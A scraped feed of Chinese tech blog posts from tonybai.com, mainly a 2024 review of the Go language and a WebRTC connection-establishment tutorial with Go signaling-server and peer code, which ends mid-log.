欢迎大家踊跃加入\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/01/14/understand-go-and-toolchain-in-go-dot-mod/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-and-toolchain-in-go-dot-mod-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/01/14/understand-go-and-toolchain-in-go-dot-mod\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/01/14/understand-go-and-toolchain-in-go-dot-mod\"\u003ehttps://tonybai.com/2025/01/14/understand-go-and-toolchain-in-go-dot-mod\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo语言自诞生以来，就一直将向后兼容性作为其核心理念之一。\u003ca href=\"https://go.dev/doc/go1compat\"\u003eGo1兼容性承诺\u003c/a\u003e确保了为Go1.0编写的代码能够在后续的Go1.x版本中持续正确地编译和运行。这一承诺为Go的成功奠定了坚实的基础，它不仅保障了稳定性，也大大减轻了随着语言演进带来的代码维护负担。然而，\u003cstrong\u003e兼容性的内涵并不仅限于向后兼容\u003c/strong\u003e。向前兼容性，即旧版本的工具链能够优雅地处理针对新版本编写的代码，对于打造流畅的开发体验同样至关重要。\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2023/08/20/some-changes-in-go-1-21\"\u003eGo 1.21版本\u003c/a\u003e之前，向前兼容性在某种程度上是一个被忽视的领域。尽管go.mod文件中的go指令可以标明模块预期的Go版本，但在实际中，它更像是一个指导性建议，而非强制性规则。旧版本的Go工具链会尝试编译那些需要较新版本的代码，这经常导致令人困惑的错误，更有甚者会出现“静默成功”的情况——代码虽然可以编译，但由于较新版本中的细微改动，其运行时行为可能并不正确。\u003c/p\u003e","title":"Go工具链版本已不由你定：go和toolchain指令详解"},{"content":"2024年Go语言盘点：排名历史新高，团队新老传承 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n2024年Go语言盘点：排名历史新高，团队新老传承 一月 6, 2025 0 条评论 本文永久链接 – https://tonybai.com/2024/01/06/the-2024-review-of-go-programming-language\n2024年底，由于感染了甲流，我在家卧床休息了两天，原定于2024年进行的Go语言盘点写作因此被迫推迟。不过，我始终相信：迟到但不会缺席。在2025年元旦的第一天，我终于开始了这篇博客的撰写。\n时间过得真快，《2023年Go语言盘点：稳中求新，稳中求变》依然历历在目。转眼之间，一年365天过去了，发生了许多事情，甚至有些记忆已在脑海中模糊或消逝。在这里，我将带你盘点那些关于Go的重要时刻，唤起你对Go的美好回忆。\n回顾整个2024年，如果非要用一句话来形容Go语言的状态，我会选择：Go完成了技术成熟度曲线中的“稳步爬升复苏期”，开始进入“生产成熟期”。这一点在Go的排名中得到了直接体现，并在Go社区的活跃度方面得到了间接的印证。而Go的年中换帅似乎也预示着这是一个新的起点！在过去一年中，得益于Go团队和社区的共同努力，Go发布了许多值得关注的新特性。\n接下来，我将为大家逐一详细介绍！\nGo排名创历史新高 说到编程语言排名，程序员们首先想到的就是TIOBE！在2024年的TIOBE排行榜上，尽管Go语言没有像AI时代的霸主语言Python那样耀眼，但跻身前十并站稳第七名这一成绩也足以让其他语言羡慕不已！\n图：2024年12月TIOBE排名TOP 10 而从2009年开源至今，Go在TIOBE排名走势如下：\n图：2010年-2024年TIOBE排行榜Go语言走势 了解Go历史的朋友都知道，Go语言真正具备生产级成熟度是从2015年的Go 1.5版本开始的。按照技术成熟度曲线的划分，2015年之前及其后的一段时间可以视为技术萌芽期。从曲线中可以看出，2017年时达到了期望膨胀期的峰值。此后，Go经历了一段“漫长”的泡沫破裂低谷期以及稳步爬升的复苏期。从2023年开始，到2024年末，Go语言复苏的速度日益加快！目前来看，如无意外，Go将进入技术成熟度曲线的下一阶段：生产成熟期！我曾提到过：绝大多数主流编程语言将在其诞生后的第15至第20年间大步前进。按照这个编程语言的一般规律，刚刚迈过开源第15个年头的Go刚刚迈进自己的黄金5-10年。\n当然，单看TIOBE单一榜单似乎说服力不足，我们再来看看今年的Github octoverse报告。在这份报告中，Go依旧稳居github热门编程语言前10(如下图)，这一位置已经保持了三年多了！\n图：2024年Github最热门编程语言排行榜 此外，在2024年年中发布的“IEEE Spectrum 2024编程语言排行榜”中，Go在Spectrum排名和Trending排名中分列第8位和第7位。\n除了排行榜之外，通过Reddit中编程语言论坛的活跃度也可以看出Go语言在全球的受欢迎程度和用户广度。以下是2025年1月1日Reddit上最活跃的9门编程语言子论坛的实时状态截图：\n图：2025.1.1 Reddit编程语言子论坛状态对比 我们看到Go子论坛在成员数量和某一时刻的在线人数上都表现良好。此外，如果你是长期关注Reddit Go论坛的Gopher，一定注意到自2024年初以来，Go论坛的人气迅速增长，日均帖子数相比前两年显著增加，其中很多都是新加入Go阵营的初学者！\n注：Rust的人气是真高啊，online人数断崖领先！\n编程语言技术大会是衡量语言流行度和受欢迎程度的另一重要风向标。自从全球从新冠疫情中恢复后，GopherCon逐渐在各地线下恢复，到了2024年基本回到了疫情前的状态，甚至在一些地方的GopherCon还超越了以往的受欢迎程度。例如，2024年GopherCon欧洲大会破例举办了两次。此外，首届在非洲举行的GopherCon Africa也于2024年10月份在肯尼亚首都内罗毕成功举行！唯一的遗憾是GopherChina在2024年缺席，这或许与国内的经济形势有关。\nGo的增长趋势来的有些快，不知道是否是得益于AI应用的快速发展！但就像Go团队前成员Jaana Dogan(Rakyll)所说的那样：\nGo将成为AI时代重要的AI应用开发语言！AI大模型三强：OpenAI、Claude和Google都提供了对Go SDK的官方支持：\nOpenAI Go SDK – https://github.com/openai/openai-go Claude GO SDK – https://github.com/anthropics/anthropic-sdk-go Google AI Go SDK – https://github.com/google/generative-ai-go 此外，提到Go和AI大模型，我们不得不提及一个重量级的开源项目——Ollama，它可以说是当前私有部署和使用开源大模型的事实标准！在2024年的用户调查报告中，Go团队还特别关注了用户对使用Go开发AI应用的需求，并将AI应用开发视为Go应用的下一个重要赛道。此外，Russ Cox也积极参与这一领域，开源了专用于开源项目运营维护的AI机器人：Oscar，同时探索Go在AI领域的应用。\n如果说Go的排名再创新高让Gopher和Go社区对Go充满了更多自信，那么Go团队的换帅则向整个编程语言界展示了团队的传承与发展！\nGo团队换帅展示团队传承 对于Go团队来说，2024年的最大的事件不是Go 1.22或Go 1.23的发布，而是团队换帅。\n2024年中旬，Go团队的技术负责人Russ Cox宣布，他将于2024年9月1日起卸任Go项目的技术领导职务。自2008年参与Go项目以来，Russ于2012年成为其技术负责人。在过去的12年里，他引领Go语言从一个实验性项目成长为当今最受欢迎的编程语言之一。在他的带领下，Go凭借简洁的语法、高效的并发模型和强大的标准库赢得了众多开发者的青睐，并在云计算、微服务和DevOps等领域得到了广泛应用。\nRuss分享了他卸任的想法，表示这一决定是经过深思熟虑的，是自然发展的结果。他认为，尽管长期稳定的领导对大型项目至关重要，但领导层的变动也能为项目注入新的活力和视角。他强调，定期更换领导者是非常重要的，这有助于引入新思想并防止项目陷入停滞。\n接替Russ Cox的是Austin Clements，他将成为新的Go技术负责人，同时领导Google的Go团队和整个Go项目。Austin自2014年起就在Google从事与Go相关的工作，拥有丰富的经验和深厚的技术背景。同时，Cherry Mui将接手负责编译器和运行时等“Go核心”领域的工作。Cherry自2016年加入Google，在Go的核心开发领域表现出色。Russ Cox对这两位新领导给予了高度评价，称赞他们具备卓越的判断力以及对Go语言和其运行系统的广泛而深入的理解。\n通过9月份到12月份的角色过期期的观察来看，两位“新负责人”的表现是中规中矩，沿袭了Russ Cox之前确定的Go项目管理框架，Cherry Mui在Go core领域表现的十分积极，这从”Go compiler and runtime meeting notes“的记录中可见一斑！\n在第333期GoTime播客中，两位新leader也初步分享了他们对后续Go演进的一些想法。\nAustin强调，虽然Go保持着稳定和简洁，但它必须继续演进。他的首要目标之一是改善Go的可扩展性，无论是在开发过程中还是在背后的工程流程中。他希望通过提高透明度和扩大社区参与度，赋能社区，创建一个能够更好整合用户反馈的平台（可能是一个论坛），使贡献者能够开发与核心团队目标一致的工具和解决方案。在性能改进方面，Austin长期致力于优化Go的垃圾回收系统，目前正在试验一种新算法，幽默地称其为“绿茶”，旨在优化资源使用，进一步提升Go在越来越大系统上的扩展能力。\nCherry则指出，Go的用户基础正在快速增长，而核心团队的资源却有限。她的任务是确保Go平台能够支持这一日益增长的社区，无论是通过构建更好的API还是平台，帮助用户在Go的基础上开发更强大的工具和解决方案。在技术扩展性方面，Cherry也表达了自己的关注。随着计算能力的提升，核心数量和内存容量不断增加，Go需要适应，以高效处理更大的工作负载。Cherry表示，她非常期待与社区中的工程师合作，解决这些挑战，保持Go简单且可扩展的声誉。\n从两位领导的想法与目标中，我们可以看到Go团队传承的文化。对于这样的“换帅”，Go社区应充满信心。\n注：GoTime博客在完成其第340期内容后，因平台方Changelog的变动宣布停播了！\nGo Release新特性一览 对于已经过了15个生日的Go来说，其演进的节奏已经非常稳定和成熟了。2024年，Go平稳地发布了两个重要版本：Go 1.22和Go 1.23。下面我们就来简单浏览一下这两个版本的主要新特性。\n3.1 Go 1.22主要新特性 语言特性 loopvar语义修正：for循环中通过短声明定义的循环变量，由整个循环共享一个实例变为每次迭代定义一个实例。这是 Go 语言发展历史上第一次真正的填语义层面的“坑”。 for range支持整型表达式：for range循环可以遍历整型范围，如for i := range 10。 编译器和运行时 PGO优化增强：基于PGO的构建可以实现更高比例的调用去虚拟化(devirtualize)，带来性能提升。 编译器优化：编译器可以更多地运用devirtualize和inline技术进行优化。 运行时优化：运行时可以使基于类型的垃圾收集的元数据更接近每个堆对象，从而降低CPU和内存开销。 工具链 go work支持vendor：go work命令可以管理vendor目录，并且支持使用go build -mod=vendor构建。 go mod init改进：不再尝试导入其他vendor工具(比如Gopkg)的配置文件。 go test -cover改进： 对于没有测试文件的包，会报告覆盖率为0.0%。 标准库 math/rand/v2: 标准库第一个V2版本包。 增强http.ServeMux的表达能力: 新版ServeMux支持静态路由、通配符、主机匹配和变量捕获。 3.2 Go 1.23 主要新特性 语言特性 自定义函数迭代器：for range语句支持遍历用户自定义的集合类型，需要定义满足特定签名的迭代器函数。 别名中增加泛型参数：支持在类型别名定义中使用类型参数，如： type MySlice[T any] = []T 编译器与运行时 PGO构建速度提升: 该版本优化后，PGO带来的编译开销显著降低。 限制对linkname的使用: Go 1.23禁止使用linkname指令引用标准库中未标记的内部符号。 工具链 Telemetry (遥测): go工具链程序收集性能和使用数据的系统，且支持go telemetry on|off|local命令。 go env -changed: go env子命令增加-changed选项，可以查看当前Go环境中设置的Go环境变量值与默认值有差异的项的值。 go mod tidy -diff: go mod tidy增加-diff选项，只打印更新信息但不做实际更新。 go.mod中增加godebug指示符: 可以通过该指示符设置特定的GODEBUG选项。 标准库 Timer/Ticker变化: Timer和Ticker的GC不再需要Stop方法，Stop/Reset后不再接收旧值。 structs包: 添加一个零size的类型HostLayout，用于控制编译器对结构体类型的布局方式。 unique包: 新增了unique包，用于处理唯一值的集合。 iter包: 新增了iter包，并增加了函数迭代器相关的实用函数到maps、slices等包中。 更多更详细关于Go新特性的内容，请阅读《Go 1.22中值得关注的几个变化》和《Go 1.23中值得关注的几个变化》。\n2025展望 按照Go演进的一贯风格，我本不该对Go抱有过多期待^_^，但还是忍不住想说几句。\nGo已经稳稳地占据了云计算领域的头部后端编程语言地位，在多个编程语言排行榜上名列前茅，Go社区也在健康快速地发展。然而，机遇与风险总是并存。\n虽然Go在云原生、Web服务、微服务、API和CLI开发方面拥有明显优势，但也面临着来自Rust等语言的挑战。Go需要进一步巩固其在这些优势领域的地位，同时探索一些能够发挥自身优势的新方向，例如AI应用开发等。\n同时，我们期待新一代Go团队领导者，尤其是来自Go编译器和运行时组的领导者们，能够深入打磨和优化Go语言的编译器、运行时性能以及语言互操作性。毕竟，谁不喜欢那种因性能自然增长而带来的愉悦感，以及借助其他语言优势生态快速完成功能的灵活性呢!\n最后，感谢Go团队和Go社区在Go语言演进发展上做出的贡献，希望Go越走越好！\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/01/06/the-2024-review-of-go-programming-language/","summary":"\u003cp\u003e2024年Go语言盘点：排名历史新高，团队新老传承 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"2024年Go语言盘点：排名历史新高，团队新老传承"},{"content":"\n本文永久链接 – https://tonybai.com/2024/12/26/exploring-the-connection-establish-process-of-webrtc-app-built-with-pion\n在《WebRTC第一课：从信令、ICE到NAT穿透的连接建立全流程》一文中，我们从理论层面全面细致地了解了WebRTC连接建立的完整流程。这个流程大致可以分为以下几个阶段：\n与信令服务器的交互 ICE候选项的采集、交换与排序 形成ICE候选检查表、进行连通性检查，并最终确定最优候选路径 这个过程的复杂性不言而喻。即便多次阅读全文，读者可能仍难以形成深入的理解。因此，如果能够配上一个真实的示例，相信会更有助于读者全面把握这一过程的细节和原理。\n在这篇文章中，我就为大家呈现一个真实的示例，我将使用Go语言开源WebRTC项目pion/webrtc来实现一个基于datachannel的WebRTC演示版程序，通过将pion/webrtc的日志级别设置为TRACE级，输出更多pion/webrtc实现层面的日志，以帮助大家理解WebRTC建连过程。同时，我还会实现一个简易版的基于“Room抽象模型”的信令服务器，供WebRTC通信两端交换信息使用。希望该示例能帮助大家更好的理解WebRTC端到端的建连流程。\n按照WebRTC建连的流程，我们先来实现一个简易版的信令服务器。\n注：提醒各位读者，本文中所有例子均以演示和帮助大家理解为目的，不建议在生产中使用示例中的代码。\n1. 信令服务器(signaling-server) 下面是一个基于WebSocket的WebRTC信令服务器的简化实现，使用WebSocket进行WebRTC信令交换可以提供更快速、更高效和更灵活的通信体验，同时WebSocket生态丰富，可复用的代码库有很多，实现起来也比较简单。\n这个信令服务器是基于Room抽象模型的，因此其主要结构是一个Room结构体，代表一个聊天室。我们具体看一下该信令服务器的实现代码：\n// webrtc-first-lesson/part2/signaling-server/main.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;github.com/gorilla/websocket\u0026#34; ) type Room struct { Clients map[*websocket.Conn]bool mu sync.Mutex } var ( upgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { return true }, } rooms = make(map[string]*Room) roomMu sync.Mutex ) func main() { http.HandleFunc(\u0026#34;/ws\u0026#34;, handleWebSocket) log.Println(\u0026#34;Signaling server starting on :28080\u0026#34;) log.Fatal(http.ListenAndServe(\u0026#34;:28080\u0026#34;, nil)) } func handleWebSocket(w http.ResponseWriter, r *http.Request) { conn, err := upgrader.Upgrade(w, r, nil) if err != nil { log.Println(\u0026#34;Error upgrading to WebSocket:\u0026#34;, err) return } defer conn.Close() remoteAddr := conn.RemoteAddr().String() log.Println(\u0026#34;New WebSocket connection from:\u0026#34;, remoteAddr) roomID := r.URL.Query().Get(\u0026#34;room\u0026#34;) if roomID == \u0026#34;\u0026#34; { roomID = fmt.Sprintf(\u0026#34;room_%d\u0026#34;, len(rooms)+1) log.Printf(\u0026#34;Created new room: %s\\n\u0026#34;, roomID) } roomMu.Lock() room, exists := rooms[roomID] if !exists { room = \u0026amp;Room{Clients: make(map[*websocket.Conn]bool)} rooms[roomID] = room } roomMu.Unlock() room.mu.Lock() room.Clients[conn] = true room.mu.Unlock() log.Printf(\u0026#34;Client[%v] joined room %s\\n\u0026#34;, remoteAddr, roomID) for { messageType, message, err := conn.ReadMessage() if err != nil { log.Println(\u0026#34;Error reading message:\u0026#34;, err) break } var msg map[string]interface{} if err := json.Unmarshal(message, \u0026amp;msg); err != nil { log.Println(\u0026#34;Error unmarshaling message:\u0026#34;, err) continue } msg[\u0026#34;roomId\u0026#34;] = roomID updatedMessage, _ := json.Marshal(msg) room.mu.Lock() for client := range room.Clients { if client != conn { clientAddr := client.RemoteAddr().String() if err := client.WriteMessage(messageType, updatedMessage); err != nil { log.Println(\u0026#34;Error writing message:\u0026#34;, err) } else { log.Printf(\u0026#34;writing message to client[%v] ok\\n\u0026#34;, clientAddr) } } } room.mu.Unlock() } room.mu.Lock() delete(room.Clients, conn) room.mu.Unlock() log.Printf(\u0026#34;Client[%v] left room %s\\n\u0026#34;, remoteAddr, roomID) } 我们看到：Room结构体包含一个WebSocket连接的map和一个互斥锁。演示程序使用全局变量rooms（房间map）和相应的互斥锁管理房间和加入房间的连接，并在房间内进行消息广播，以保证消息能转发到参与通信的所有端(Peer)。当然，如果仅有两端在一个房间中，那么这就变成了一对一的实时通信。\n这个信令服务器程序启动后，默认监听28080端口，当客户端连接时，会根据URL参数来将客户端连接加入到某个房间，如果房间号参数为空，则代表该客户端期望创建一个房间。先创建房间并加入的客户端作为answer端，等待offer端的连接。当从某个客户端连接收到消息后，会广播给房间内的其他客户端。当客户端断开连接时，便将其从房间中移除。\n当然这仅是一个演示版程序，并未对历史建立的房间进行回收，同时也没有进行身份认证等安全方面的控制。\n接下来，我们再来看看借助信令服务器进行端到端实时通信的端侧WebRTC应用的实现。\n2. 端侧WebRTC应用(webrtc-peer) WebRTC应用的代码通常都很“样板化”。在开发WebRTC应用程序时，信令连接、设置本地和远程描述、收集ICE候选以及转发信令消息等步骤都是一些常见且重复性较高的任务。这些步骤在不同的WebRTC应用程序中通常都大同小异。以下是这些重复性任务的一些具体步骤示例：\n信令连接处理\n– 创建信令通道(如WebSocket连接)\n– 监听连接建立、断开等事件\n– 通过信令通道交换offer/answer等信令消息\n本地和远程描述设置\n– 创建c实例\n– 设置本地描述(createOffer/createAnswer)\n– 设置远程描述(setRemoteDescription)\nICE 候选收集与交换\n– 监听ICE候选事件，收集本地ICE候选\n– 通过信令通道交换ICE候选信息\n– 将远程ICE候选添加到RTCPeerConnection实例\n信令消息转发\n– 接收来自远程的信令消息\n– 根据消息类型，转发给本地RTCPeerConnection实例\n这些基本步骤在大多数WebRTC应用程序中都是必需的。我们的示例代码也不例外，下面就是webrtc-peer程序源码，有些长，也很繁琐：\n// webrtc-first-lesson/part2/webrtc-peer/main.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;flag\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/gorilla/websocket\u0026#34; \u0026#34;github.com/pion/logging\u0026#34; \u0026#34;github.com/pion/webrtc/v3\u0026#34; ) type signalMsg struct { Type string `json:\u0026#34;type\u0026#34;` Data string `json:\u0026#34;data\u0026#34;` } var ( signalingServer string roomID string ) func init() { flag.StringVar(\u0026amp;signalingServer, \u0026#34;server\u0026#34;, \u0026#34;ws://localhost:28080/ws\u0026#34;, \u0026#34;Signaling server WebSocket URL\u0026#34;) flag.StringVar(\u0026amp;roomID, \u0026#34;room\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;Room ID (leave empty to create a new room)\u0026#34;) flag.Parse() } func main() { // Connect to signaling server signalingURL := fmt.Sprintf(\u0026#34;%s?room=%s\u0026#34;, signalingServer, roomID) conn, _, err := websocket.DefaultDialer.Dial(signalingURL, nil) if err != nil { log.Fatal(\u0026#34;Error connecting to signaling server:\u0026#34;, err) } defer conn.Close() log.Println(\u0026#34;connect to signaling server ok\u0026#34;) // Create a new RTCPeerConnection config := webrtc.Configuration{ ICEServers: []webrtc.ICEServer{ { URLs: []string{\u0026#34;stun:stun.l.google.com:19302\u0026#34;}, }, }, } // 创建一个自定义的日志工厂 loggerFactory := logging.NewDefaultLoggerFactory() loggerFactory.DefaultLogLevel = logging.LogLevelTrace //loggerFactory.DefaultLogLevel = logging.LogLevelInfo //loggerFactory.DefaultLogLevel = logging.LogLevelDebug // Enable detailed logging s := webrtc.SettingEngine{} s.LoggerFactory = loggerFactory s.SetICETimeouts(5*time.Second, 5*time.Second, 5*time.Second) api := webrtc.NewAPI(webrtc.WithSettingEngine(s)) peerConnection, err := api.NewPeerConnection(config) if err != nil { log.Fatal(err) } // Create a datachannel dataChannel, err := peerConnection.CreateDataChannel(\u0026#34;test\u0026#34;, nil) if err != nil { log.Fatal(err) } dataChannel.OnOpen(func() { log.Println(\u0026#34;Data channel is open\u0026#34;) go func() { for { err := dataChannel.SendText(\u0026#34;Hello from \u0026#34; + roomID) if err != nil { log.Println(err) } time.Sleep(5 * time.Second) } }() }) dataChannel.OnMessage(func(msg webrtc.DataChannelMessage) { log.Printf(\u0026#34;Received message: %s\\n\u0026#34;, string(msg.Data)) }) // Set the handler for ICE connection state peerConnection.OnICEConnectionStateChange(func(connectionState webrtc.ICEConnectionState) { log.Printf(\u0026#34;ICE Connection State has changed: %s\\n\u0026#34;, connectionState.String()) }) // Set the handler for Peer connection state peerConnection.OnConnectionStateChange(func(s webrtc.PeerConnectionState) { log.Printf(\u0026#34;Peer Connection State has changed: %s\\n\u0026#34;, s.String()) }) // Set the handler for Signaling state peerConnection.OnSignalingStateChange(func(s webrtc.SignalingState) { log.Printf(\u0026#34;Signaling State has changed: %s\\n\u0026#34;, s.String()) }) // Register data channel creation handling peerConnection.OnDataChannel(func(d *webrtc.DataChannel) { log.Printf(\u0026#34;New DataChannel %s %d\\n\u0026#34;, d.Label(), d.ID()) d.OnOpen(func() { log.Printf(\u0026#34;Data channel \u0026#39;%s\u0026#39;-\u0026#39;%d\u0026#39; open.\\n\u0026#34;, d.Label(), d.ID()) }) d.OnMessage(func(msg webrtc.DataChannelMessage) { log.Printf(\u0026#34;Message from DataChannel \u0026#39;%s\u0026#39;: \u0026#39;%s\u0026#39;\\n\u0026#34;, d.Label(), string(msg.Data)) }) }) // Set the handler for ICE candidate generation peerConnection.OnICECandidate(func(i *webrtc.ICECandidate) { if i == nil { return } candidateString, err := json.Marshal(i.ToJSON()) if err != nil { log.Println(err) return } if writeErr := conn.WriteJSON(\u0026amp;signalMsg{ Type: \u0026#34;candidate\u0026#34;, Data: string(candidateString), }); writeErr != nil { log.Println(writeErr) } }) // Handle incoming messages from signaling server go func() { for { _, rawMsg, err := conn.ReadMessage() if err != nil { log.Println(\u0026#34;Error reading message:\u0026#34;, err) return } log.Println(\u0026#34;recv msg from signaling server\u0026#34;) var msg signalMsg if err := json.Unmarshal(rawMsg, \u0026amp;msg); err != nil { log.Println(\u0026#34;Error parsing message:\u0026#34;, err) continue } log.Println(\u0026#34;recv msg is\u0026#34;, msg) switch msg.Type { case \u0026#34;offer\u0026#34;: log.Println(\u0026#34;recv a offer msg\u0026#34;) offer := webrtc.SessionDescription{} if err := json.Unmarshal([]byte(msg.Data), \u0026amp;offer); err != nil { log.Println(\u0026#34;Error parsing offer:\u0026#34;, err) continue } if err := peerConnection.SetRemoteDescription(offer); err != nil { log.Println(\u0026#34;Error setting remote description:\u0026#34;, err) continue } answer, err := peerConnection.CreateAnswer(nil) if err != nil { log.Println(\u0026#34;Error creating answer:\u0026#34;, err) continue } if err := peerConnection.SetLocalDescription(answer); err != nil { log.Println(\u0026#34;Error setting local description:\u0026#34;, err) continue } answerString, err := json.Marshal(answer) if err != nil { log.Println(\u0026#34;Error encoding answer:\u0026#34;, err) continue } if err := conn.WriteJSON(\u0026amp;signalMsg{ Type: \u0026#34;answer\u0026#34;, Data: string(answerString), }); err != nil { log.Println(\u0026#34;Error sending answer:\u0026#34;, err) } log.Println(\u0026#34;send answer ok\u0026#34;) case \u0026#34;answer\u0026#34;: log.Println(\u0026#34;recv a answer msg\u0026#34;) answer := webrtc.SessionDescription{} if err := json.Unmarshal([]byte(msg.Data), \u0026amp;answer); err != nil { log.Println(\u0026#34;Error parsing answer:\u0026#34;, err) continue } if err := peerConnection.SetRemoteDescription(answer); err != nil { log.Println(\u0026#34;Error setting remote description:\u0026#34;, err) } log.Println(\u0026#34;set remote desc for answer ok\u0026#34;) case \u0026#34;candidate\u0026#34;: candidate := webrtc.ICECandidateInit{} if err := json.Unmarshal([]byte(msg.Data), \u0026amp;candidate); err != nil { log.Println(\u0026#34;Error parsing candidate:\u0026#34;, err) continue } if err := peerConnection.AddICECandidate(candidate); err != nil { log.Println(\u0026#34;Error adding ICE candidate:\u0026#34;, err) } log.Println(\u0026#34;adding ICE candidate:\u0026#34;, candidate) } } }() // Create an offer if we are the peer to join the room if roomID != \u0026#34;\u0026#34; { offer, err := peerConnection.CreateOffer(nil) if err != nil { log.Fatal(err) } if err := peerConnection.SetLocalDescription(offer); err != nil { log.Fatal(err) } offerString, err := json.Marshal(offer) if err != nil { log.Fatal(err) } if err := conn.WriteJSON(\u0026amp;signalMsg{ Type: \u0026#34;offer\u0026#34;, Data: string(offerString), }); err != nil { log.Fatal(err) } log.Printf(\u0026#34;send offer to signaling server ok\\n\u0026#34;) } // Wait forever select {} } 通过代码，我们看到：这个使用Go实现的WebRTC对等连接示例程序通过WebSocket与信令服务器通信，创建和管理RTCPeerConnection，处理ICE候选、offer和answer，并实现了数据通道功能。程序支持创建新房间或加入现有房间，展示了完整的WebRTC连接建立流程，包括信令交换和ICE处理。它通过对pion/webrtc的日志级别设置让其具有详细的日志记录能力，这为我们后续通过日志分别WebRTC建连各个阶段奠定了基础。\n3. 建立连接流程的日志分析 下面是实验环境的拓扑图：\nwebrtc-peer分别位于两台服务器上，其中Host A是一台位于NAT后面的内网主机，而HOST B则是一台位于美国的公网主机，信令服务器搭建在HOST B上，stun服务器使用的是Google提供的公网免费stun server。\n下面是信令服务器和两端peer服务器的编译和启动步骤：\n我们先启动信令服务器：\n//在Host B上signaling-server目录下 $make $./signaling-server 2024/08/20 21:45:50 Signaling server starting on :28080 接下来，启动Host A上的webrtc-peer程序：\n//在Host A上webrtc-peer目录下 $make $./webrtc-peer -server ws://206.189.166.16:28080/ws 这时信令服务器就会发现有新的websocket连入，并创建了room_6(这只是多次运行中的某一次的room id罢了)：\n2024/08/20 21:48:52 New WebSocket connection from: 47.93.3.95:17355 2024/08/20 21:48:52 Created new room: room_6 2024/08/20 21:48:52 Client[47.93.3.95:17355] joined room room_6 然后我们启动Host B上的webrtc-peer程序，将这一端加入到上面创建的room_6中：\n//在Host B上webrtc-peer目录下 $make $./webrtc-peer -room room_6 -server ws://206.189.166.16:28080/ws 这之后，信令服务器也会发现Host B上的webrtc-peer的连接。之后便开始从信令交互开始逐步实现端到端的建连。以下是对各个阶段产生的详细日志的分析：\n3.1 信令服务连接（房间加入）和SDP 交互 信令连接 \u0026#34;2024/08/20 21:45:48 connect to signaling server ok\u0026#34; 以上日志表示成功连接到信令服务器。如果房间号为空，则该peer(answer)先启动并在信令服务器建立房间，然后另一个peer(offer)加入该房间，通过信令服务器交换信息。\nSDP交互 下面日志则是表示接收到另一个peer的offer SDP：\n\u0026#34;2024/08/20 21:45:55 recv msg is {offer {\u0026#34;type\u0026#34;:\u0026#34;offer\u0026#34;,\u0026#34;sdp\u0026#34;:\u0026#34;v=0\\r\\no=- 2149168073199454578 1724143555 IN IP4 0.0.0.0\\r\\ns=-\\r\\nt=0 0\\r\\na=msid-semantic:WMS*\\r\\na=fingerprint:sha-256 A6:D6:AE:F3:30:0D:D8:07:D2:23:C9:A5:69:27:F2:CC:B1:8C:A4:DB:30:79:E7:62:9B:09:87:B7:68:1F:55:A7\\r\\na=extmap-allow-mixed\\r\\na=group:BUNDLE 0\\r\\nm=application 9 UDP/DTLS/SCTP webrtc-datachannel\\r\\nc=IN IP4 